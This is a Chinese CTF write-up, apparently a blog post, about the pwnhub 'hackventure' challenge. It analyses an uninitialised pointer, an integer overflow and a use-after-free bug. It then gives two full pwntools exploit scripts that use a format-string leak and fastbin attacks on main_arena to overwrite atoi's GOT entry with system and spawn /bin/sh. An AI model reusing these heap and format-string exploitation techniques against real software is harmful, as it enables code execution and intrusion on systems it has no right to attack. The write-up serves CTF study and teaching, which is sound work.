每周一胖 pwnhub之hackventure

漏洞类型:未定义指针引用、整数溢出、UAF
利用方法:控制未定义指针、UAF

程序入口:

root@kali ~/桌面# ./hackventure 
************************************************
* Welcome to Hackventure (Hack3r's Adventure). *
************************************************
$ list
list - list all commands
help - show usage of a command
map - show map
status - show player's status
go - make movement
explore - explore current location
goodnight - sleep at home until the morning of next day (HP refilled)
local_attack - attack the server at current location (-20 HP)
remote_attack - attack remote server from your bot at current location (-30 HP)
remote_attacks - attack remote servers from your bot at current location (-30 HP)
deploy - deploy something on your bot
proxy - set a parent proxy
buy - buy products from the store
$ 

在本题中,主要存在三个问题:
问题一 未定义指针引用,看一下local_attack中的实现代码

printf("You can specify a new name for the owned server.\nName length? ");
v3 = 63LL;
readn_without_null((__int64)&buffer, 63);
length = atoi(&buffer);               
if ( Server->nickname && (v4 = strlen((const char *)Server->nickname), v4 >= length)  || (v3 = length + 1, (v8 = realloc(0LL, v3)) != 0LL))
{
    if ( Server->nickname )
    {
      v5 = strlen((const char *)Server->nickname);
      if ( v5 > (unsigned __int64)length )
        v8 = Server->nickname;
    }
    printf("Name? ", v3);
    length = readn_without_null((__int64)v8, length);
    Server->nickname = v8;
    v2 = (char *)Server->nickname + length;
    *v2 = 0;
}

在成功控制一台服务器后,可以给这台机器命名,名称的长度任意且可控。但是在这儿的逻辑当中,如果在第一次控制时填入了长度为16的字符串,那么当再次控制时,再次使得输入长度等于16,将会导致v8是一个未定义指针。不难理解,如果可以控制栈上的内容的话,就可以实现任意内存写。在同级函数中,deploy函数可以在栈上填充的空间比较大

int __fastcall deploy(__int64 a1, __int64 a2)
{
  const char *v2; // rbx@3
  int v3; // eax@3
  int result; // eax@3
  __int64 v5; // [sp+0h] [bp-60h]@1
  char nptr; // [sp+10h] [bp-50h]@1

  printf("How many do you want to deploy? ", a2);
  readn_without_null((__int64)&nptr, 63);
  ...
}

但是实际测试时发现,如果分两次调用deploy和local_attack将会导致先前填充的栈被清空,实际上,这是因为触发了strtok操作导致栈内容发生改变

__int64 __fastcall parse_command(char *a1, __int64 a2)
{
  unsigned int v3; // [sp+14h] [bp-Ch]@1
  char *v4; // [sp+18h] [bp-8h]@1

  v4 = strtok(a1, " ");
  v3 = 0;
  while ( v4 )
  {
    *(_QWORD *)(a2 + 8LL * v3++) = v4;
    if ( v3 > 0xF )
      return v3;
    v4 = strtok(0LL, " ");
  }
  return v3;
}

那么有没有可能一次性输入两条命令,继续看主循环函数代码

    for ( i = 0; i <= 12; ++i )  //12次循环
    {
      if ( !strcasecmp(*v5, *(const char **)&commands[10 * i + 60]) )
      {
        if ( commands[10 * i + 62] == v4 )
        {
          (*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(v4, v5);
          v4 = 0;
        }
        else if ( commands[10 * i + 62] >= v4 )
        {
          puts("wrong arguments");
          printf("%s - %s\n    usage: %s\n", *v5, *(_QWORD *)&commands[10 * i + 66], *(_QWORD *)&commands[10 * i + 68]);
          v4 = 0;
        }
        else
        {
          (*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(commands[10 * i + 62], v5);  //执行命令
          v4 -= commands[10 * i + 62];
          v5 += commands[10 * i + 62]; //v5指针后移,实际上,这里加的是参数个数
        }
        break;
      }
    }

因此,本题的最终思路为控制血量最少(因为打起来最轻松)的服务器,并输入固定长度(长度根据需要确定)的名称,然后再去买点商店买点东西,接着回到服务器所在的位置并先打成残血,最后在一行命令里面执行deploy和local_attack来实现任意内存写。这里选择将atoi修改printf,接下来就可以用格式化字符串实现地址泄露,并在泄露完成后将atoi修改成system函数,以下是完整的利用代码

from pwn import *

slog = 0
if slog: context.log_level = True

p = process('./hackventure')

curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)


def init_position():
    global curpos
    global servers
    global home
    global store
    p.recvuntil('$')
    p.sendline('map')
    p.recvuntil('+--------------------------------+')
    
    for y in range(16):
        #print y
        aline = p.recvline()[1:-2]
        #print aline
        if aline.find('*') != -1:
            curpos = (aline.find('*'), y)
        if aline.find('S') != -1:
            servers.append((aline.find('S'), y))
        if aline.find('H') != -1:
            home = (aline.find('H'), y)
        if aline.find('T') != -1:
            store = (aline.find('T'), y)    
        
    #print curpos, servers, home, store

def go(position):
    global curpos
    relativeX = position[0] - curpos[0]
    relativeY = position[1] - curpos[1]
    command = ''
    if relativeX < 0:
        command += abs(relativeX) * 'go LEFT\n'
    else:
        command += abs(relativeX) * 'go RIGHT\n'

    if relativeY < 0:
        command += abs(relativeY) * 'go UP\n'
    else:
        command += abs(relativeY) * 'go DOWN\n'
    p.recvuntil('$')
    p.sendline(command)
    curpos = position
    #print curpos, servers, home, store

def explore():
    global servers
    global target
    for i in range(len(servers)):
        go(servers[i])
        p.recvuntil('$')
        p.sendline('explore')
        p.recvline()
        data = p.recvuntil('Status')
        if 'HP: 100' in data:
            target = servers[i]
            break

def local_attack(name = 'aaaa'):
    p.recvuntil('$')
    p.sendline('local_attack')
    p.recvuntil('$')
    p.sendline('local_attack')
    p.recvuntil('length?')
    p.sendline(str(len(name)+1))
    p.recvuntil('Name?')
    p.sendline(name)    
    
def sleep():
    p.recvuntil('$')
    p.sendline('goodnight')     
    p.recvuntil('$')
    p.sendline('goodnight')     

def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('buy {0} {1}'.format(str(count), goods_name))

def deploy(count = 1, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('deploy ExploitKit')
    p.recvuntil('want to deploy?')
    p.sendline(str(count))

init_position()
explore()
go(target)
local_attack('a'*8)

go(home)
sleep()
go(target)

p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('deploy ExploitKit local_attack')
p.recvuntil('want to deploy?')

pwnfile = ELF('hackventure')
p.sendline('a' * 32 + p64(pwnfile.got['atoi']))
p.recvuntil('length?')
p.sendline('8')
p.recvuntil('Name?')
p.sendline(p64(pwnfile.plt['printf']))  

def call_printf(format_str):
    p.recvuntil('$')
    p.sendline('deploy haha')
    p.recvuntil('want to deploy?')
    p.sendline(format_str)
    
call_printf("aabb%9$s".ljust(8, 'a') + p64(pwnfile.got['printf']))
p.recvuntil('aabb')
printf_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'printf addr is ', hex(printf_addr)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print 'system_addr is',hex(system_addr)

def generate_format(addr, value):
    payload = ''
    print_count = 0
    addr_part = ''
    for i in range(3):
        two_byte = (value >> (16*i)) & 0xffff
        payload += '%{0}c%{1}$hn'.format((two_byte - print_count) % 0x10000, 13 + i)
        print_count += (two_byte - print_count) % 0x10000
        addr_part += p64(addr + i*2)

    payload = payload.ljust(0x28, 'a')
    payload += addr_part
    return payload
#gdb.attach(p, open('debug'))
call_printf(generate_format(pwnfile.got['atoi'], system_addr))
p.sendline('deploy haha')
p.sendline("/bin/sh")
p.sendline('echo aabb')
p.recvuntil('aabb')

p.interactive()

问题二 整数溢出
整数溢出漏洞出现在buy功能中,先看下面的代码

int __fastcall buy(__int64 a1, __int64 a2)
{
  result = map_0[4 * (32LL * y + x)];
  if ( result == 3 )
  {
    for ( i = 0; i <= 3; ++i )
    {
      result = strcasecmp(*(const char **)(a2 + 16), goods_name[5 * i]);
      if ( !result )
      {
        count = atoi(*(const char **)(a2 + 8));
        cost = count * LODWORD(goods_name[5 * i + 3]);// 存在整数溢出
        if ( money < cost )
        {
          result = puts("Go away, poor man.");
        }
        else
        {
          money -= cost;

count没有范围限制,那么在输入一个很大的count值之后cost将会变成负数(这是最先发现的问题,然而作用不大)

问题三 UAF
这个漏洞(据说这个漏洞出题人自己也没有意识到,不得不佩服大佬们发现问题的能力,其次,就算是专业搞安全的人,也不见得写出来的代码就是安全的,因此,只要是人写的代码,就会有漏洞)出现在deploy功能中

(&hacker)[2 * (j + 2LL)][1] -= a1;
puts("Success.");
LODWORD(v3) = (&hacker)[2 * (j + 2LL)][1];
if ( !(_DWORD)v3 )
    LODWORD(v3) = (unsigned __int64)realloc((&hacker)[2 * (j + 2LL)], 0LL);// 等同于free

不难发现,这里在进行了free操作后并没有将指针置空,那就意味着可以无限次的进行free操作,对应商品的结构如下

struct Item
{
  _int32 count;
  _int32 type;   //共4种类型
}

我们可以按下面的方式构造堆块

----------------------- Item1
count(1)+type(1)
----------------------- Item2
count(1)+type(2)
----------------------- Item3
count(1)+type(3)
----------------------- Other block(防止堆块合并)

Item是使用金币购买的三种产品。题目默认给定的金币数量是100,因为后面需要多次购买,所以可以考虑使用整数溢出漏洞增加金币或者反复打HP100的服务器来挣钱。接下来考虑这样一种情况:依次free掉Item1、Item2、Item3,然后触发local_attack分配内存name,此时name将指向Item3,可以将name的内容构造成count(1)+type(3),就可以触发deploy中的free操作,此时Item3已经成了fastbin链的头结点,因此,其fd指针将保存的是Item2的地址,也就是堆地址,这个时候只要调用一下explore功能就可以打印出堆地址。


泄露堆地址

到这里,利用似乎陷入了僵局,因为我们没有办法控制Item1、Item2、Item3的堆结构。事实上,可以通过分配一块较大的内存来触发fastbin合并(当然,这里应该还可以通过其他方法来控制内存,这里先不讨论)


fastbin合并

这一步实际上解决了两个问题:泄露libc地址、将三个fastbin合并成一个大的堆块。现在,我们已经可以通过申请大小为0x50的内存的方式来控制Item2、Item3的完整堆结构了,后面可以按照下述思路拿shell:一、通过fastbin attack在main_arena上写入0x80用作堆头 二、再次通过fastbin attack控制main_arena的top指针(指向got表) 三、申请一块内存(大小为0x70)即可获得指向got的指针,此时可将修改aoti函数修改为system。在看writeup的时候,还提到了另外一种思路:通过修改stdout指针的方式去控制printf,有兴趣的同学可以试试。下面是完整的利用代码:
from pwn import *

slog = 0
debug = 1
if slog: context.log_level = True

p = process('./hackventure')

curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)


def init_position():
    global curpos
    global servers
    global home
    global store
    p.recvuntil('$')
    p.sendline('map')
    p.recvuntil('+--------------------------------+')
    
    for y in range(16):
        aline = p.recvline()[1:-2]
        if aline.find('*') != -1:
            curpos = (aline.find('*'), y)
        while aline.find('S') != -1:
            posX = aline.find('S')
            servers.append((posX, y))
            aline = aline[:posX] + 'x' + aline[posX+1:]
        if aline.find('H') != -1:
            home = (aline.find('H'), y)
        if aline.find('T') != -1:
            store = (aline.find('T'), y)    
        
    #print curpos, servers, home, store

def go(position):
    global curpos
    relativeX = position[0] - curpos[0]
    relativeY = position[1] - curpos[1]
    command = ''
    if relativeX < 0:
        command += abs(relativeX) * 'go LEFT\n'
    else:
        command += abs(relativeX) * 'go RIGHT\n'

    if relativeY < 0:
        command += abs(relativeY) * 'go UP\n'
    else:
        command += abs(relativeY) * 'go DOWN\n'
    p.recvuntil('$')
    p.sendline(command)
    curpos = position
    #print curpos, servers, home, store

def explore_all():
    global servers
    global target
    global target2
    for i in range(len(servers)):
        go(servers[i])
        p.recvuntil('$')
        p.sendline('explore')
        p.recvuntil('IP: ')
        aline = p.recvline()
        servers[i] = (servers[i], aline[:-1])
        data = p.recvuntil('Status')
        if 'HP: 100' in data:
            target = servers[i][0]
        if 'HP: 200' in data:
            target2 = servers[i]

def local_attack(times = 2, success = True, name = 'aaaa', length = -1):
    for i in range(times):
        p.recvuntil('$')
        p.sendline('local_attack')
    if success:
        p.recvuntil('length?')
        if length != -1:
            p.sendline(str(length))
        else:
            p.sendline(str(len(name)+1))
        p.recvuntil('Name?')
        p.sendline(name)    

def remote_attack(server, ip):
    p.recvuntil('$')
    p.sendline('remote_attack ' + ip)
        
def rest():
    p.recvuntil('$')
    p.sendline('goodnight')     
    p.recvuntil('$')
    p.sendline('goodnight')     

def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('buy {0} {1}'.format(str(count), goods_name))

def deploy(count = 1, goods_name = 'ExploitKit'):
    p.recvuntil('$')
    p.sendline('deploy ' + goods_name)
    p.recvuntil('want to deploy?')
    p.sendline(str(count))

def explore():
    p.recvuntil('$')
    p.sendline('explore')


init_position()
explore_all()
goods_name = ['ExploitKit', 'SafeLine', 'D-Sensor', 'Proxy']
godds_price = {'ExploitKit': 200, 'SafeLine': 100, 'D-Sensor':50}
go(store)
special_count = (1 << 64) / 200 - 200

#make money
buy(special_count, 'ExploitKit')
buy(1, goods_name[1])
buy(1, goods_name[2])
buy(1, goods_name[3])
go(target)
local_attack()

for i in range(2):
    deploy(1, goods_name[1])
    deploy(1, goods_name[2])
    deploy(1, goods_name[3])

remote_attack(target, target2[1])
go(home)
rest()
go(target2[0])
local_attack(3, True, p32(2) + p32(1))
buy(1, goods_name[2])
for i in range(5):
    deploy(1, goods_name[2])

#leak heap addr
deploy(1, goods_name[1])
#deploy((special_count & 0xffffffff), goods_name[0])
explore()
p.recvuntil('Name: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'heap_addr is', hex(heap_addr)


def rename(_name = 'aaaa', _length = -1):
    go(home)
    rest()
    rest()
    go(target)
    local_attack(name = _name, length = _length)

#leak libc addr and trigger malloc_consolidate
rename(p64(0x70) + p64(0x21) + p64(0x80) + p64(0x21), 0x20000)
go(target2[0])
if debug: gdb.attach(p, open('debug'))
explore()

p.recvuntil('Name: ')
leak_libc_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'leak libc addr is', hex(leak_libc_addr)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
libc_base = leak_libc_addr - 0x398b00 - 0x18

rename(p32(1) + p32(1) + p64(0)*2 + p64(0x71) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])

#create fake heap in main_arena
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x71) + p64(0x80), 0x50)
rename('aaaa', 0x60)

deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p64(leak_libc_addr + 0x10), 0x50)
rename('aaaaaa', 0x70)

#alert main_arena->top to GOT table
rename(p64(0)*4 + p64(0x604080), 0x70)

#alert GOT of atoi to system
system_addr  = libc_base + libc.symbols['system']
rename(p64(0x400916) + p64(system_addr), 0xa0)
p.recvuntil('$ ')
p.sendline('deploy hackit')
p.recvuntil('want to deploy?')
p.sendline('/bin/sh')
p.interactive()

参考资料:
https://pwnhub.cn/media/writeup/112/5979cf77-0a4a-4095-bd6f-2eebc88a34f8_e5804144.pdf
https://pwnhub.cn/media/writeup/115/00e617c5-c794-456d-a656-3b8277a578bb_8282c1d1.pdf

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,716评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,558评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,431评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,127评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,511评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,692评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,915评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,664评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,412评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,616评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,105评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,424评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,098评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,096评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,869评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,748评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,641评论 2 271

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 170,569评论 25 707
  • 前言 把《C++ Primer》[https://book.douban.com/subject/25708312...
    尤汐Yogy阅读 9,447评论 1 51
  • 记得小时候父母总跟我们说你要努力,长大以后就会怎么样,然后我们一个一个的长成了乖宝宝 。毕业以后参加工作了同事总跟...
    芷荣说阅读 236评论 1 1
  • 明时,僧人垂髻,患胁痛病,一个多月不能饮食。有人说:「你常劝人念观音可以救苦,现在怎麼不自念呢?」垂髻在迷糊中,闻...
    金指尖阅读 505评论 0 1
  • 以前,总以为自己和别人不同,虽然有时会落后,但都能通过努力迎头赶上,最终拥有比常人不一样的精彩生活。现在,确实务实...
    之之花阅读 176评论 0 0